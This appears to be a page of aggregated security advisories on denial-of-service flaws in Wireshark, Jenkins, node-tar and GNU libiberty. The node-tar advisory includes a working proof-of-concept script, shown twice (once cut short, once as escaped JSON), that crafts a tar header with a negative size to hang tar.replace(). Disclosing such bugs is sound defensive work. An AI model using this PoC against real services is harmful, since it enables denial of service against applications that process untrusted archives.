Details
In Wireshark 2.2.4 and earlier, a crafted or malformed STANAG 4607 capture file will cause an infinite loop and memory exhaustion. If the packet size field in a packet header is null, the offset to read from will not advance, causing continuous attempts to read the same zero length packet. This will quickly exhaust all system memory.

7.5 (High)

Summary
Infinite Loop in Jenkins Core
Details
A Cron expression form validation could enter infinite loop, potentially resulting in denial of service. The form validation for cron expressions (e.g. "Poll SCM", "Build periodically") could enter infinite loops when cron expressions only matching certain rare dates were entered, blocking request handling threads indefinitely.

Summary
node-tar: Negative tar entry size causes infinite loop in archive replace
Details
Summary
A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.
Details
The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.
Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.
For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.
This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.
PoC
Save as poc.mjs in a project with the vulnerable package installed and run:
node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'
const oct = (b, n, off, len) =>
b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')
const badHeader = () => {
const h = Buffer.alloc(512)
h.write('x', 0)
oct(h, 0o644, 100, 8)
oct(h, 0, 108, 8)
oct(h, 0, 116, 8)
// base-256 encoded -512 in the size field
Buffer.alloc(10, 0xff).copy(h, 124)
h[134] = 0xfe
h[135] = 0x00
oct(h, 0, 136, 12)

Impact
An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

"details": "### Summary\n\nA checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.\n\n### Details\n\nThe public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.\n\nTar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.\n\nFor a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.\n\nThis is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.\n\n### PoC\n\nSave as `poc.mjs` in a project with the vulnerable package installed and run:\n\n```bash\nnode poc.mjs\n```\n\n```js\nimport fs from \u0027node:fs\u0027\nimport os from \u0027node:os\u0027\nimport path from \u0027node:path\u0027\nimport { spawnSync } from \u0027node:child_process\u0027\n\nconst oct = (b, n, off, len) =\u003e\n b.write(n.toString(8).padStart(len - 1, \u00270\u0027) + \u0027\\0\u0027, off, len, \u0027ascii\u0027)\n\nconst badHeader = () =\u003e {\n const h = Buffer.alloc(512)\n\n h.write(\u0027x\u0027, 0)\n oct(h, 0o644, 100, 8)\n oct(h, 0, 108, 8)\n oct(h, 0, 116, 8)\n\n // base-256 encoded -512 in the size field\n Buffer.alloc(10, 0xff).copy(h, 124)\n h[134] = 0xfe\n h[135] = 0x00\n\n oct(h, 0, 136, 12)\n h.fill(0x20, 148, 156)\n h[156] = 0x30\n h.write(\u0027ustar\\0\u0027 + \u002700\u0027, 257, 8, \u0027binary\u0027)\n\n let sum = 0\n for (const c of h) sum += c\n h.write(sum.toString(8).padStart(6, \u00270\u0027) + \u0027\\0 \u0027, 148, 8, \u0027ascii\u0027)\n\n return h\n}\n\nconst dir = fs.mkdtempSync(path.join(os.tmpdir(), \u0027tar-loop-\u0027))\nconst file = path.join(dir, \u0027poc.tar\u0027)\n\nfs.writeFileSync(file, badHeader())\nfs.writeFileSync(path.join(dir, \u0027add.txt\u0027), \u0027x\u0027)\n\nconst r = spawnSync(\n process.execPath,\n [\n \u0027--input-type=module\u0027,\n \u0027-e\u0027,\n `\n import * as tar from \u0027tar\u0027\n tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, [\u0027add.txt\u0027])\n console.log(\u0027completed\u0027)\n `,\n ],\n { timeout: 20_000 }\n)\n\nconsole.log(r.error?.code === \u0027ETIMEDOUT\u0027)\n\n// Output: true\n```\n\n### Impact\n\nAn application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan.

Vulnerability from github – Published: 2022-05-13 01:27 – Updated: 2022-05-13 01:27
VLAI
Details
An issue was discovered in cp-demangle.c in GNU libiberty, as distributed in GNU Binutils 2.31. There is a stack consumption vulnerability resulting from infinite recursion in the functions next_is_type_qual() and cplus_demangle_type() in cp-demangle.c. Remote attackers could leverage this vulnerability to cause a denial-of-service via an ELF file, as demonstrated by nm.
Severity
5.5 (Medium)
